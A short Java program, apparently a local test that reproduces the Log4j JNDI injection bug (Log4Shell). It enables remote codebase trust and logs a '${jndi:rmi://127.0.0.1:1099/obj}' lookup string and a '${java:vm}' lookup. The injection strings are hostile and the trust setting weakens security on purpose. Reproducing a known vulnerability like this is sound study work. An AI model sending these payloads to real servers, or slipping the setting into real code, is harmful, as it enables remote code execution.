package com.ww.trysomething.log4j_bug;


import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

public class WebServer {

    public final static Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");




        String str = "${jndi:rmi://127.0.0.1:1099/obj}";
        logger.info("我在服务器端 {}",str);
        logger.info("我在服务器端 {}","${java:vm}");

    }
}
